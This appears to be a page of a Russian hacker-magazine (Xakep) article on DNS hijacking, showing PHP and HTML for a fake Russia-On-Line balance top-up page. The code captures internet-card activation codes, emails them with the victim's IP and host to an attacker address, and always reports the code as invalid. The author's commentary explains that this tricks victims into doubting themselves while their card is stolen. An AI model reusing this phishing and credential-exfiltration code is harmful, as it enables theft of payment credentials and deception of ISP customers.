|

ВОЕННЫЙ HTTP’ОВЫЙ DNS - Берем контроль над браузером клиента
Спецвыпуск Xakep, номер #029, стр. 029-020-6
<?php echo $userlogin; ?>
Они выводят введенный пользователем логин, где это необходимо. Например, в полях "Имя пользователя", "Перенаправление почты", "Персональный номер" и т.п. Забыл уточнить, что я для примера брал страницу РОЛа, которая заблокированна и поэтому надо пополнить баланс. Почти все важные ссылки на данной станице идут на пагу-скрипт addmoney.php, где пользователю предлагают пополнить баланс.
<?
if ($csid=="" or $cert1=="" or $cert1=="" or $cert3=="" or $cert4=="") {}
else {
$timeall = 'Date: '.Date( 'D, d M Y H:i:s ').$SIGN.sprintf( '%02d%02d',floor($ZONE/3600),floor(($ZONE%3600)/60)). "\n";
$msg = $csid." - ".$cert1." - ".$cert1." - ".$cert3." - ".$cert4." \n";
$msg .= $timeall;
$msg .= "REMOTE_ADDR: $REMOTE_ADDR\n"; $host = gethostbyaddr("$REMOTE_ADDR");
$msg .= "HOST: $host\n";
$topic = "ROL: Card number.";
$email="sex@sex.ru";
mail($email, $topic, $msg, "From: sex@sex.ru");
}
?>
В начале скрипта идет проверка заполнены ли поля активирующие карточку, если да, то они отсылаются тебе на мыло с дополнительной информацией, время, IP'шник, хост.
<HTML>
<HEAD><TITLE>Russia-On-Line Internet card</TITLE></HEAD>
<BODY>
<h1 align=center>Пополнение баланса</h1>
<b>Только для клиентов РОЛ.</b><br>
Для пополнения баланса введите код активации Интернет-карты и нажмите кнопку "Пополнить баланс". Ваш баланс будет пополнен в соответствии с номиналом Интернет-карты.
<p>
<font color="maroon"><b>ВНИМАНИЕ:</b></font>
Некоторые серии Интернет-карт не могут быть использованы для пополнения баланса<br>
<font color="maroon"><b>ВНИМАНИЕ:</b></font>
При пополнении баланса автоматического перевода на другой тарифный план не происходит; для изменения тарифного плана см. Личный кабинет
После стандартного оформления данной РОЛовской страницы идет наша форма, которая ссылается сама на себя.
Не пустая, а равная main, переменная УИД ($uid=="main") показывает нам, что это не переход со страницы rvoffice.php, а клик на кнопке 'Пополнить баланс'.
<form method=post action=addmoney.php>
<? if ($csid=="" or $cert1=="" or $cert1=="" or $cert3=="" or $cert4=="") {
if ($uid=="main") { ?><h2 align=center><font color=f01010>Не указан код активации Интернет карты.<br>Пожалуйста, введите код активации.</font></h2><?
} }
Если хоть какие-то поля не заполнены, то мы ругаемся на пользователя стандартной фразой, взятой с РОЛа. Здесь у нас акцент делается на то, чтобы заставить пользователя поверить, что он на РОЛе.
else {
if ($uid=="main") {
?><h2 align=center><font color=f01010>Указан неверный код активации Интернет карты.<br>Пожалуйста, введите код активации заново.</font></h2><?
} } ?>
Если все поля заполнены кодом активации карточки, и это нажатие на кнопку 'Пополнить баланс', то код активации уже отослан нам в начале страницы, но мы все равно говорим пользователю, что он ошибся. Пусть думает, что его карточку заблокировали или он даун и т.п. Чем дольше он будет сомневаться в себе, тем лучше нам. Время в данном вопросе работает на нас.
Назад на стр. 029-020-5 Содержание Вперед на стр. 029-020-7
|